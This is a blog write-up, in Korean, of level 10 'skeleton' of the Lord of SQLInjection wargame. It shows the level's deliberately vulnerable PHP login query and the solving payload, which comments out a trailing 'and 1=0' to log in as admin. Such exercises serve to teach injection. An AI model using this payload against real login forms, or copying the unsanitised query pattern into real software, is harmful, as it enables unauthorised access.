Wargame/LOS

LOS #10 skeleton

0xe82de_ 2020. 10. 28. 22:55
728x90
728x90
728x90
 

Lord of SQLInjection

 

los.rubiya.kr

Source code

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("skeleton"); 
  highlight_file(__FILE__); 
?>

 

Query

select id from prob_skeleton where id='guest' and pw='' and 1=0

 

Write-up

[사진 1]

위 사진에서 확인할 수 있는 정보는 다음과 같다.

  • 파라미터는 pw 1개가 사용될 수 있다.

  • pw 값에 특별한 필터링을 하지는 않는다.

  • "admin" id 값을 요구하고 있다.

  • 쿼리문 마지막을 보면 "and 1=0" 구문때문에 항상 "거짓"이 반환되어 데이터를 가져오지 못한다.

주석이나 single quote 필터링을 하지 않으므로 주석으로 "and 1=0" 구문을 무효화시키면 된다.

 

Parameter

pw=1' or id='admin'%23

쿼리문은 다음과 같다.

select id from_skeleton where id='guest' and pw='1' or id='admin'#' and 1=0

 

 

Success

[사진 2]

728x90
728x90